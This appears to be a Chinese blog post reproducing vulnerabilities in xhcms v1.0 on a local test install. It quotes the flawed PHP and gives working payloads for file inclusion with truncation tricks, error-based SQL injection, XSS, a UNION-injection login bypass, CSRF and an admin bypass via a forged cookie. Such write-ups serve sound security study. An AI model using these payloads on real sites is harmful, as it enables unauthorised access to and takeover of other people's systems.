xhcms v1.0漏洞复现

一、文件包含

Ex. 1

文件包含函数中存在变量,可能存在文件包含漏洞 /index.php include('files/'.$action.'.php'); //载入相应文件

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

这里直接将GET接收到的r参数,使用addslashes()转义,然后赋值给$action,但没有对$action进行充分的验证。因为GET传进来的r参数是可控的,攻击者可以通过修改URL中的'r'参数来包含任意文件,导致文件包含漏洞。

后面拼接了.php,所以要想办法将他去掉。这里可以使用00截断、.号溢出、?方式进行截断,不过都有php版本限制。

在项目根目录下放一个文件1.txt,内容为<?php phpinfo();?>

.号溢出
Windows的文件名字最后面加.是不影响文件的,Windows文件名的最大长度是260个字节,后面超出部分被丢弃。
需要满足条件:php版本=5.2.17、Virtual Directory Support=enable
payload:
?r=../1.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
00截断的原理:在PHP版本低于5.3.4时,如果文件名或URL参数中包含空字符(ASCII码为0的字符,即chr(0)),这个空字符会导致其后面的所有字符被忽略或丢弃。这通常用于绕过文件名扩展名的检查,使得攻击者能够上传或执行非法文件。
​
00截断利用条件 //此处由于addslashes()函数导致不可用
1、magic_quotes_gpc =off
2、php版本小于5.3.4
payload:
?r=../1.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

也可以使用…/来实现路径穿越,但后缀只能是.php

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含创建的phpinfo.php文件

image-20240902203508811

http://127.0.0.1/xhcms/?r=../phpinfo

image-20240902203935214

Ex. 2

文件包含函数中存在变量,可能存在文件包含漏洞 /admin/index.php include('files/'.$action.'.php'); //载入相应文件

原理同上

http://127.0.0.1/xhcms/admin/?r=../../phpinfo

二、SQL注入

Ex. 1

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/adset.php $query = "UPDATE adword SET ad1='$ad1',

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET 
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";

此处对于POST方式输入的参数使用了addslashes函数进行了过滤,所以这里的注入是一个误报

`addslashes`函数在PHP中用于在字符串中的特定字符前添加反斜杠(\),这些特定字符通常包括单引号(')、双引号(")、反斜杠(\)以及NULL字符,从而改变了它们在SQL语句中的原有意义,使得它们不再被视为SQL代码的一部分,而是被当作普通的文本字符处理,即“转义”。

Ex. 2

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editcolumn.php $query = "UPDATE navclass SET name='$name',

$name=$_POST['name'];
...
$query = "UPDATE nav SET name='$name',..."

POST方法接收name参数,但是没有进行过滤

访问路径http://127.0.0.1/xhcms/admin/?r=editcolumn&type=1&id=1

名称输入框内输入单引号提交后报错,说明存在sql注入

image-20240903091822945

抓包,替换name参数如下

1' and (extractvalue(1,concat(0x7e,(select USER()),0x7e))) and'

前提:取决于数据库的错误处理配置,即是否允许在错误消息中返回查询的一部分结果,现在这种配置多被禁用
​
extractvalue():这是MySQL中用于从XML文档中提取值的函数。
语法:EXTRACTVALUE(xml_frag, xpath_expr),其中xml_frag是包含XML数据的字符串,xpath_expr是用于从该数据中提取数据的XPath表达式。
​
显然,1作为xml_frag的输入是不合法的,因为1不是一个有效的XML文档。这正是SQL注入者试图利用的地方,因为非法的xml_frag值会导致数据库返回一个错误。

image-20240903094301833

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞/admin/files/editcolumn.php$query = "UPDATE nav SET name='$name',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editlink.php $query = "UPDATE link SET name='$name',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/editwz.php $query = "UPDATE content SET navclass='$navclass',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/imageset.php $query = "UPDATE imageset SET img_kg='$img_kg',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/manageinfo.php $query = "UPDATE manage SET user='$user',

SQL语句insert中插入变量无单引号保护,可能存在SQL注入漏洞 /admin/files/newlink.php $query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/reply.php $query = "UPDATE interaction SET xs='$xs',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/seniorset.php $query = "UPDATE seniorset SET lysh='$lysh',

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /admin/files/siteset.php $query = "UPDATE settings SET name='$name',

这些都是/admin目录下的,即后台系统的,需要登录才有权限访问

基本类似,不再赘述

Ex. 3

注意路径中没有/admin,是前台

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/content.php $query = "UPDATE content SET hit = hit+1 WHERE id=$id";

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);
...
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

代码分析:

  • get型接收一个cid参数,使用addslashes进行转义;

  • id拼接到查询语句中,使用mysql_query()执行语句,当语句执行失败,则抛出die()中的内容以及错误。

    既然输出报错信息了,还存在注入,那这里肯定要尝试报错注入了。

http://127.0.0.1/xhcms/?r=software&cid=1

加一个单引号后会报错

构造payload:1 and (extractvalue(1,concat(0x7e,(select USER()),0x7e)))

image-20240903104104044

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/downloads.php $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";

SQL语句delete中条件变量无单引号保护,可能存在SQL注入漏洞 /files/software.php $query = "UPDATE download SET hit = hit+1 WHERE id=$id";

基本类似,不再赘述

三、XSS

EX. 1 反射型

/files/contact.php文件下,有一个page变量,在html中直接输出,没有进行过滤

image-20240903112224963

image-20240903112434741

image-20240903112812144

EX. 2 存储型

/admin/files/adset.php

$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET 
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',

UPDATE将前端的数据写入到adword表中,这个地方在写入的时候没有进行过滤,如果在前端页面调用我们写入的值,就有可能存在XSS

全局搜索adword,点击打开files/content.php

image-20240903111042856

直接将查询结果输出到页面,存在存储型XSS

登录进后台----设置----广告设置,三个广告都可以

image-20240903111242094

路径http://127.0.0.1/xhcms/?r=content&cid=5访问到/files/content.php即可触发/files/software.php/template/sidebar.php同理

四、任意用户登录

/admin/files/login.php

直接拼接了user变量,并且user变量也没有进行过滤,存在sql注入漏洞

image-20240903154514226

解释:上述代码中user和password参数是分开验证的,首先通过user查询数据库以获取用户记录,然后再在服务器端将存储的d密码哈希与输入的password密码(经过MD5哈希后)进行比较。user参数不存在过滤,所以user处是存在注入的;而password处则是对目前登录用户的密码的md5值进行验证。

登陆页面分别输入:

  • 账号:-1' union select 1,2,'test','0192023a7bbd73250516f069df18b500',5,6,7,8;#

  • 密码:admin123

此处md5(admin123)=0192023a7bbd73250516f069df18b500

image-20240903160422418

五、CSRF

CSRF重点关注诸如删除、修改、增加之类的危险功能,通过判断其是否存在适当的token或其他校验机制来评估CSRF防护的到位程度

内容管理—>文章管理,点击删除文章并抓包

使用burpsuite自带的CSRF PoC generator生成

image-20240903143647490

在本地创建CSRF.html,运行访问

image-20240903143844550

看到页面出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章

image-20240903144140946

六、未授权及越权

/inc/chexclogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   
}
?>

检测是否是登录的状态,仅仅是通过验证cookie中的user参数是否存在,不存在就直接跳转登录页面

正常登录admin用户他的cookie如下:

Cookie: Hm_lvt_82526ffa6fe7df3f398d10ed7f985ccb=1722501603; user=admin

可以看到user=admin,根据checklongin.php的验证逻辑,只要每次访问后台带上user=admin即可越权成为管理员

所以在cookie处添加user参数携带admin等非空值即可绕过登陆界面访问控制台

image-20240903165750953

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值